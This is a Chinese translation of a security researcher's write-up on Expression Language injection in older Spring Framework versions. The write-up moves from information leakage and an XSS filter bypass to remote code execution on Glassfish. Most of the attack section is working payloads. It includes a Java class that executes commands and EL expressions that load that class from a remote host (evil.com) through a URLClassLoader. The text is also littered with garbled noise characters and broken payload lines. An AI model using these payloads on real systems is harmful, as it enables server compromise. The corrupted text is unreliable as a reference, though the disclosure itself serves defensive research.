Remote Code with
) J4 |5 c8 T* q1 d' eExpression Language Injection
+ J3 R7 F5 R. ^0 D) C8 d4 fSpring Framework脆弱性—DanAmodio
: I: L+ D2 X% J) o2 @全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中: n Y/ v" H! o
可能会存在风险。
9 s( u R( F$ b5 ^8 T, T在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
4 K2 c5 j6 i/ S% pArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可& K) `7 ^8 w. j x, t
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
3 c( Y" D$ ]. v& \以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
5 A. i W! `, T7 K( E版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。5 ?" G. e" |2 v0 j$ B
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但/ Q+ `6 E$ N( T( U/ n- Q$ k! p
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
0 {' _: \7 K7 U, y+ [3 n& O本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
/ t3 e K8 p) p, Z8 a7 T6 B5 u( M这些版本不支持禁用double EL resolution.3 [8 m2 ^7 z" h+ w6 {+ [$ f1 W
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
) s2 _* f0 `. M$ P; AEL2.2容器上可能进行远程代码执行。
8 R8 m) f; y. s' M$ l; z这是一个原始信息泄露的攻击例子:
5 k D! G% R4 E B; D2 ^/ I8 ]请求:3 S1 e0 h$ k& d5 w- N6 A6 c
ttp://vulnerable.com/foo?message=${applicationScope}! D9 r' O* F" a6 O
到达以下内容页面:2 R3 w3 o6 Z C) n) P
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
; w8 e/ O0 x* O) v+ ?' ]你也可以做一些其他事情,如这样:
6 H8 \9 J( V2 K3 i0 @1 I3 s, j${9999+1}9 h W9 m8 P; Y3 K( X0 D: }. N
还可以访问session 对象和beans/ n: ?2 u& \. a( r' A% Z+ c
${employee.lastName}/ F. _, S- {$ {, K* Q @! S+ v
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是% f5 k- {; v3 x( A( z% M- I% f0 B/ n
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东' @: S, Z4 H% A* m
西,比如XSS.1 N1 v) D' o$ W/ m$ [; \ J( q$ Z9 T6 d; Z
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
' W+ ]3 Z! h6 x7 g1 ?突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤. |' U2 y3 C9 n \, @! E: C
呢?”& ~1 O% I& a2 j6 A& Y R* w: M
因此,我尝试巳缦拢�) ^5 G+ k- T+ ~4 d# \) P
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
$ x8 Y& {1 [! l. w* k" A q" l% X: xP
7 C4 t: ` I* W! h- f ?+ {1 B我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返: b3 w" ~# u; F" r u, l: k
回的文本被插入进了spring:message 标签。
7 O' m6 I f n# P9 T这里是一个最终绕过过滤的实例:6 H+ b3 z' b0 \2 b
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
( N u: G4 k2 T) H0 H: D它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
4 }& _- |1 m+ V什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?6 G: G) z6 N& _0 {4 N6 t
经过一番研究,我学习到EL2.2 增加了方法调用。
7 O- N8 Q- [" V& Q7 T我写了一个快速测试应用程序代码并且检测一些功能
7 {: {$ b1 [" x9 i5 n: j${pageContext.request.getSession().setAttribute(“account”,”123456″)}0 ]8 f! S+ N# J( w
${pageContext.request.getSession().setAttribute(“admin”,true)}
, ?4 S( P$ `: S- b$ s好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
2 a3 J% ]5 i- \0 d" b- d3 _6 a指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?6 R# Z/ s) X4 }+ o2 h( N8 p4 y
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1; L' Y6 `: B; @: r5 }! W5 b
“, 1234)}9 w6 {" A! ~" E; ]" [9 T
${“”.getClass().forName(“java.lang.Runtime”)}" |+ ]9 w* _) N4 T% |* p
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
: {1 s2 \2 j& G( ]5 R6 _9 i* q可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
6 Z: T3 b- `0 Z4 |# S _% u/ V数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有9 V; i7 ?$ N; Z. G [9 i5 W3 h
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
5 ~, s9 d- l" K8 w6 J方法签名invoke(Object obj, Object„ args)3 T8 f% h: M: \8 _$ ]" ~% o; @
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问0 ~7 H& B1 g& I. a1 W
题,以让它可以工作起来。
4 p0 _/ U q- c' [& A* o' J# [漏洞利用:6 n( C% C2 g4 {- e8 L
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我4 A1 _% @" C+ k4 ^/ P6 T
希望你们中的一些JAVA奇才告诉我我是如此的可笑。: p) w1 H; a# C+ B0 a
这里有一些我试过的失败的用例,为了试图让它工作的用例:
3 V1 A) D) h0 X) E. B/ b 写文件到文件系统6 O: L* E/ \& p
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
. u! k( v! a) k: K+ [2 \8 A我认为这些可以很好的工作,但是我不能找到合适的类来载入。
6 d3 g* T; G- h) Z( B* g${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
+ m' ^3 e ~# v4 P7 z2 ~javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:& L! p+ D- n P7 _1 k' S; E# C
org.springframework.expression.spel.standard.SpelExpressionParser not found- r N9 h9 D8 I
by- H$ N$ e& z% \. V- _: H) Q) A8 K
org.glassfish.web.javax.servlet.jsp [194].8 m) U1 d' B. ~* i
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public* I# H1 W8 F3 n! q/ d
利用反射来创建一个新的Runtime(and watch the world burn)% Y7 A5 p* P ^$ M, [! i0 T
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
1 w: Z3 Y2 H; U(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
$ C- V7 V3 x' m2 K P${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
: i$ U0 f% k, a. T: K4 A6 z, a 使用java.lang.ProcessBuilder
. v8 b; V% w& r 用表达式语言来评估表达式语言6 p1 X/ B4 q# w* s8 L X3 B
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
1 [# ~# v6 p' m$ c${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
1 Q6 D, E% c7 Y2 |5 J- t4 Y“,”".getClass(),null)}
$ s& w( F w* ?. Y4 U. X 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
. _( N8 k0 i3 }3 m. @5 x我在使用一个空数组通过Method.invoke()时失败了很多次
. _ B( t3 s' w“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
; X( |0 J0 x1 A @) i- |3 X* ^9 Y9 N.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
; Y" t* `% L* G2 B, V+ `rrayList”).newInstance().toArray())
8 D0 c0 u0 M% z7 y/ yjava.lang.IllegalArgumentException: wrong number of arguments- b$ s* Y/ w. {# a1 [/ @
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可, ?+ l A) {# \* c; V% ]
以创建一个恶意class文件并且指向类装载器.
* ^: V, ]5 _7 m/ M' x8 @, s我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
Y" X( ?1 y* H& u, spublic class Malicious {
* ?; S/ r1 t: Q0 h& o7 B- F7 epublic Malicious() {
' n0 n, K Y4 M2 htry {
% F4 [7 z' @) e8 l! K1 R, f- i ajava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac, z+ R3 _/ l7 {/ i( _: T
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
8 W& [, e h" ?( j2 M! g/ l' j} catch (Exception e) {1 Q! W1 `. R1 x7 F( z/ s
}
- h V, B' D5 l# |' K}
) l1 F2 A5 L$ f$ b3 f0 k% |我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回$ g8 e7 G* {# M/ Q q
话中,因此它可以被使用.
- [/ A$ ~; x3 E7 j# l${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
. B# P* U# f6 H5 U' l(“java.util.ArrayList”).newInstance())}6 k, @7 d! x; B
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建# j5 l! ]. M" F4 J' p1 w: N
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和, |9 N3 h! U( r3 q9 ~3 I
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个, k0 q3 d( E3 w X, e/ A
我们可以调用的create(string)方法,然后转换对一个URL对象。" g) D! v' Q& W r* H9 u' G8 ?
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
3 D* g, @# P0 ]' [* Pere/malicious/classfile/is/located/”).toURL())}
7 o, d# d5 y1 F/ C. b* T然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
" L# M9 z) m- R恶意类文件被装载并创建,触发远程代码.+ @# v2 {3 V/ X
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
0 ^9 x) U) X- T4 Z$ Y& R- zxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().9 v2 y" `6 v" S, x- f8 W. B( H
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance' U- N7 i+ F" d2 g6 C; g3 C# I; ? C
()} |